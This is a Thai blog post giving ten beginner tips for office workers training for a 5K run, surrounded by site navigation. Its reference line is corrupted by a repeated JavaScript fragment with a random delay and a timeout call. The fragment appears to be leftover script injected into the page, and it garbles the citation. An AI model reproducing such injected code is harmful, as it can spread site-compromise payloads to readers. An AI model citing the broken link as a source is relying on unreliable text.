• เกี่ยวกับ STEP EXTRA
STEP EXTRA Run more Spin more
  • ข่าวสาร
    • Running News
    • Bicycle
    • Healthy News
    • Gadget News
    • Shoes
  • บทวิจารณ์
    • Shoes Review
    • Gadget Review
    • Sport Gear
  • เกร็ดความรู้
    • Running Tips
    • Cycling Tips
    • Training
    • Healthy Tips
    • Gadget Tips
  • สถานที่-เส้นทาง
    • Running
    • Cycling
  • Sport Caravan Camping
No Result
View All Result
  • ข่าวสาร
    • Running News
    • Bicycle
    • Healthy News
    • Gadget News
    • Shoes
  • บทวิจารณ์
    • Shoes Review
    • Gadget Review
    • Sport Gear
  • เกร็ดความรู้
    • Running Tips
    • Cycling Tips
    • Training
    • Healthy Tips
    • Gadget Tips
  • สถานที่-เส้นทาง
    • Running
    • Cycling
  • Sport Caravan Camping
No Result
View All Result
StepExtra
No Result
View All Result
Home Tips & Technics Running Tips

10 ข้อเเนะนำสำหรับชาวออฟฟิศหัดวิ่ง 5K

kan by kan
17 October 2018
in Running Tips, Training
0
Beach Run Tips : วิ่งชายหาดอย่างไรให้ปลอดภัย
0
SHARES
0
VIEWS
Share on FacebookShare on Twitter

หน้าฝนใกล้จะจบลงแล้ว และตามคำพยากรณ์ของกรมอุตุฯ ฤดูหนาวก็ใกล้เข้ามา ภายใน 16 วันเท่านั้นเราก็จะได้กล่าวสวัสดีช่วงฤดูแห่งกิจกรรม Outdoor (ปลายฝนต้นหนาว) กันซะที ในช่วงฤดูนี้จะเหมาะกับการออกฝึกวิ่งมากที่สุด ด้วยสภาพอากาศไม่ร้อนและฝนน้อย ดังนั้นสำหรับชาวออฟฟิศที่ตั้งเป้าหมายเปลี่ยนแปลงตัวเอง ต้องการก้าวสู่ปีใหม่ด้วยสุขภาพที่แข็งแรงสมบูรณ์ เราแนะนำเดินเข้าไปร้านขายรองเท้าวิ่งโดยทันที

10 ข้อแนะนำสำหรับชาวออฟฟิศเริ่มหัดวิ่ง 5K

1. สมัคร Fun Run ครั้งแรก อย่ารอช้า อย่ารอให้ความตั้งใจเปลี่ยนแปลงตัวคุณหายไป เราแนะนำให้กดลงสมัครวิ่ง 5K เพื่อเป็นการกระตุ้นตัวเองให้ทำงาน และควรเว้นเวลาฝึกซ้อมก่อนลงวิ่งสนามจริง 1-3 เดือน ระยะเวลาที่สามารถวิ่งได้ครบ 5K โดยทั่วไปก็น่าจะอยู่ที่ประมาณ 1 เดือนแต่ทั้งนี้ก็ขึ้นอยู่กับความฟิตของร่างกายคุณ

2. ซ้อม 3 ครั้งต่อสัปดาห์ การฝึกซ้อมวิ่งสำหรับนักวิ่งหน้าใหม่ ต้องใช้เวลาให้กล้ามเนื้อ ปอดและหัวใจค่อยๆ สร้างความแข็งแกร่ง และไม่ควรโหมซ้อมทุกวัน ควรมีวันพักผ่อนให้ร่างกายได้ฟื้นฟูตัวเอง

3. ผสมเดินวิ่ง สำหรับนักวิ่งหน้าใหม่การซ้อมครั้งแรกคงไม่มีใครสามารถวิ่งได้ครบ 5K ได้ทันที (แต่ถ้าคุณมีความฟิตหรือมีพื้นฐานจากกีฬาอื่นก็ไม่แน่) กลยุทธ์ในการฝึกซ้อมวิ่งคือ การเดินสลับวิ่ง โดยการเดินก็ควรเป็นการเดินเร็วหรือ Brisk walk และมีสัดส่วนระยะทางที่เท่ากับการวิ่งในระยะแรกๆ จากนั้นค่อยๆ ปรับให้ระยะวิ่งยาวมากกว่าระยะเดิน และค่อยๆ ปรับจนเราสามารถยืนวิ่งได้ครบระยะ 5K

4. สลับชุดกล้ามเนื้อ การสลับชุดกล้ามเนื้อก็เพื่อพักการใช้งาน (ฝึกวิ่ง) และให้กล้ามเนื้อส่วนอื่นได้ทำงานบ้าง สามารถทำได้โดยการฝึก Cross-training หรือการฝึกกีฬาอื่นที่ไม่ใช่วิ่ง เช่น การปั่นจักรยานและการว่ายน้ำ ประโยชน์ของการทำ Cross training จะทำให้ความแข็งแกร่งข้อต่อ เอ็น และชุดกล้ามเนื้อใหม่ๆ ได้ทำงานและแข็งแรงขึ้น ช่วยซัพพอร์ตกล้ามเนื้อหลักที่ใช้วิ่งให้ดียิ่งขึ้น

5. ยกเวท การยกเวทเป็นการฝึกแบบ Strength training ฝึกบริหารกล้ามเนื้อเพื่อสร้างความแข็งแรงให้กับ เส้นเอ็น มัดกล้ามเนื้อมัดเล็กมัดใหญ่และเนื้อเยื่อยึดโยงต่างๆ นอกเหนือจากความแข็งแรง (ทำให้ล้าช้าลง) ยังจะช่วยป้องกันอาการบาดเจ็บที่จะเกิดขึ้นได้ด้วย เราแนะนำโปรแกรมที่ฝึกแบบ Full body ครับ ทำสัก 3 เซต เซตละ 8-10 ครั้ง ฝึกสัปดาห์ละ 2-3 ครั้ง ให้ดีก็สลับกับวันวิ่งด้วยนะครับ

6. ยืดเหยียด หรือ Stretching กล้ามเนื้อหลังจากผ่านการใช้งานมาอย่างหนัก มัดกล้ามเนื้อจะเกิดปมกล้ามเนื้อหรือ Knot กล้ามเนื้อจะแข็งไม่ค่อยคลายตัว ขาดความยืดหยุ่น เสี่ยงต่อการเกิดอาการบาดเจ็บ ด้วยเหตุนี้จำเป็นต้องมีการยืดเหยีดเพื่อคลายกล้าเนื้อ พยายามโฟกัสไปที่ชุดกล้ามเนื้อที่ใช้งาน เช่น ส่วน Upper leg: Hip flexors, Hamstring, และ Calf muscle ของส่วน Lower leg

7. วอร์มอัพร่างกายทุกครั้ง เมื่อยืนระยะได้ครบ 5K แล้วเกิดอยากจะปรับความเร็วให้ใช้เวลาน้อยลง ก็อย่าลืมทำการวอร์มอัพทุกครั้ง (แม้แต่การวิ่งธรรมดาก็ตาม) การวอร์มอัพจะช่วยปรับสภาพร่างกายให้พร้อมรับ Workload แบบเป็นขั้นสเตป ไม่พุ่งพรวดพราดทันทีทันใด เพราะร่างกายจะปรับไม่ทัน เราแนะนำให้วิ่งจ๊อกสัก 2-3 นาทีและวิ่งสเตปขาเร็วสัก 20-45 วินาที ทำสัก 1-3 เซต (พักระห่างเซต) แล้วค่อยออกวิ่ง 5K

8. ไม่ควรรับประทานอาหารเยอะก่อนวิ่ง รักวิ่งหน้าใหม่หรือแม้แต่มือเก๋าก่อนควรเว้นเวลาหลังอาหารสัก 2-3 ชั่วโมงก่อนวิ่งทุกครั้ง เพื่อให้ร่างกายได้มีเวลาย่อยอาหารและเก็บพลังงานเอาไว้ นอกจากนี้ลองรับอาหารแท่งพวกธัญพืชเล็กๆ หรือกล้วยและลูกเกดอบแห้ง 5-10 นาทีก่อนวิ่งดูครับ จะรู้สึกว่ามีแรงมากกว่าเดิมขึ้น

9. วิ่งให้สนุก อย่ากดดันตัวเองในการวิ่ง 5K ครั้งแรก การวิ่งสนามจริงครั้งแรกก็เพื่อเก็บประสบการณ์ เรียนรู้การจัดการสถานการณ์เมื่อต้องวิ่งไปกับกลุ่มฝูงชน Pace การวิ่งของเราจะไม่คงที่ มีขึ้นลงตามกระแสฝูงชน ถ้าไม่สามารถตามได้ไหว ก็ค่อยๆ ปลีกตัวหาที่ว่างแล้ววิ่งตาม Pace ที่ถนันของเรา

10. วิ่งไปกับเพื่อน กลวิธีอย่างหนึ่งที่ทำให้การวิ่งสนุกและไม่น่าเบื่อ นั้นคือการวิ่งไปกับเพื่อนๆ ซึ่งเพื่อนจะลากเพื่อนไปด้วยกัน วิ่งในความเร็วที่ยังพูดคุยกันได้ วิ่งไปกับเพื่อนจะฆ่าเวลาได้อย่างดี แถมวิ่งเร็วกกว่าเดิมอย่างไม่รู้ตัวด้วยนะ

สำหรับใครที่ขาแข็งมาระดับหนึ่งแล้ว อยากจะเซตเวลาวิ่ง 5K ให้ดี ก็แนะนำให้วางแผนจัดการ pace ตัวเองให้ดี อย่างเช่น สตาร์ทวิ่งเบาๆ เพื่อวอร์มร่างกาย เมื่อเข้าสู่ระยะทางต้น-กลาง ใช้ Pace ที่วิ่งแล้วไม่อึดอัด คล่องสบายตัว หายใจสะดวก จนถึงระยะทางช่วงปลาย ก็ค่อยๆ เพิ่มความเร็วที่ละนิด และเต็มที่เมื่อใกล้เส้นชัย

อ้างอิง andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}anddirtytips.com/health-fitness/exercise/top-10-tips-for-running-a-5k”>www.quickandom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}anddirtytips.com

Tags: Office workerRunning
ShareTweetShare
kan

kan

Related Posts

สร้าง New PB ได้ง่ายๆ ด้วย 4 เคล็ดลับเทคนิคการวิ่ง
Running Tips

สร้าง New PB ได้ง่ายๆ ด้วย 4 เคล็ดลับเทคนิคการวิ่ง

24 June 2019
Marathon survival kit: มาราธอนต้องรอด กับ 9 อุปกรณ์ช่วยชีวิตนักวิ่งมาราธอน
Running Tips

Marathon survival kit: มาราธอนต้องรอด กับ 9 อุปกรณ์ช่วยชีวิตนักวิ่งมาราธอน

21 January 2019
เริ่มใหม่อีกครั้ง: เทคนิคง่ายๆ ที่จะช่วยให้คุณกลับมาวิ่งอีกครั้ง หลังช่วงหยุดยาว
Running Tips

เริ่มใหม่อีกครั้ง: เทคนิคง่ายๆ ที่จะช่วยให้คุณกลับมาวิ่งอีกครั้ง หลังช่วงหยุดยาว

15 January 2019
Load More
  • 12.1k Fan
  • 22 Follower
  • 30 Follower

บทความยอดนิยมใน 7 วันนี้

  • วิตามินและเกลือเเร่ที่สำคัญสำหรับนักปั่นจักรยาน

    วิตามินและเกลือเเร่ที่สำคัญสำหรับนักปั่นจักรยาน

    0 shares
    Share 0 Tweet 0
  • รู้หรือไม่…ต้นทุนรองเท้าราคาเท่าไหร่และประกอบด้วยค่าอะไรบ้าง

    0 shares
    Share 0 Tweet 0
  • วิ่งให้เร็วขึ้นด้วยการฝึกสปริ้นท์ 30 วินาที

    0 shares
    Share 0 Tweet 0
  • 13 กลวิธี ขี่จักรยานให้ได้ความเร็วเพิ่มขึ้น!

    0 shares
    Share 0 Tweet 0
  • ผู้ใช้ Garmin โปรดทราบ หน้าปัดนาฬิกาลายเลข 9 เพื่อเเสดงความอาลัย มีให้ดาวน์โหลดเเล้ว

    0 shares
    Share 0 Tweet 0
StepExtra

STEP EXTRA

Run more, Spin More

เป็นเว็บไซต์ที่รวบรวมและแบ่งปันเรื่องราวดีๆ เกี่ยวกับสุขภาพและกีฬา ไม่ว่าจะเป็น ข่าวสาร, เรื่องน่ารู้, งานวิ่งแข่งและปั่นจักรยานที่น่าสนใจ พร้อมเกร็ดความรู้ดีๆ ที่ช่วยให้คุณสนุกกับการออกกำลังกาย และฟิตร่างกายได้ดียิ่งขึ้น มาเปลี่ยนตัวเองให้เป็นคนใหม่ที่สดใสยิ่งกว่าเดิมด้วยการออกกำลังกายไปด้วยกันกับเรา

  • เกี่ยวกับเรา
  • ติดต่อลงโฆษณา

บทความล่าสุด

บมจ. เอ็ม วิชั่น ร่วมจัดงาน สสส.จอมบึงมาราธอน 2566 ครั้งที่ 36

บมจ. เอ็ม วิชั่น ร่วมจัดงาน สสส.จอมบึงมาราธอน 2566 ครั้งที่ 36

9 December 2022
เที่ยวแบบมีสไตล์ไม่ตกเทรนด์ กับ Social-Disc-Camping#2@Khao Yai

เที่ยวแบบมีสไตล์ไม่ตกเทรนด์ กับ Social-Disc-Camping#2@Khao Yai

9 March 2021
Nike จัดโปรโมชันลดสินค้าผู้หญิง 30% วันนี้ – 10 พ.ค. นี้

Nike จัดโปรโมชันลดสินค้าผู้หญิง 30% วันนี้ – 10 พ.ค. นี้

8 May 2020

Browse by Category

  • Event
    • Cycling Event
    • Running Event
    • Triathlon Event
  • Feature
  • Interview
  • News
    • Cycling News
    • Gadget News
    • Gear News
    • Healthy News
    • PR
    • Running News
    • Shoes
  • Place & Route
    • Cycling
    • Running
  • Reviews
    • Gadget Review
    • Shoes Review
    • Sport Gear
  • Tips & Technics
    • Cycling Tips
    • Gadget Tips
    • Healthy Tips
    • Running Tips
    • Training
  • Travel

Partner

  • Whatphone.net ข่าวมือถือ สมาร์ทโฟน Gadget Games Applications และเทคโนโลยีนำสมัย ทุกแบรนด์ทั่วโลก

© 2014STEP EXTRA

  • ข่าวสาร
  • บทวิจารณ์
  • เกร็ดความรู้
  • สถานที่-เส้นทาง
  • Sport Caravan Camping
No Result
View All Result
  • ข่าวสาร
    • Running News
    • Bicycle
    • Healthy News
    • Gadget News
    • Shoes
  • บทวิจารณ์
    • Shoes Review
    • Gadget Review
    • Sport Gear
  • เกร็ดความรู้
    • Running Tips
    • Cycling Tips
    • Training
    • Healthy Tips
    • Gadget Tips
  • สถานที่-เส้นทาง
    • Running
    • Cycling
  • Sport Caravan Camping

© 2023 JNews - Premium WordPress news & magazine theme by Jegtheme.

This website uses cookies. By continuing to use this website you are giving consent to cookies being used. Visit our Privacy and Cookie Policy.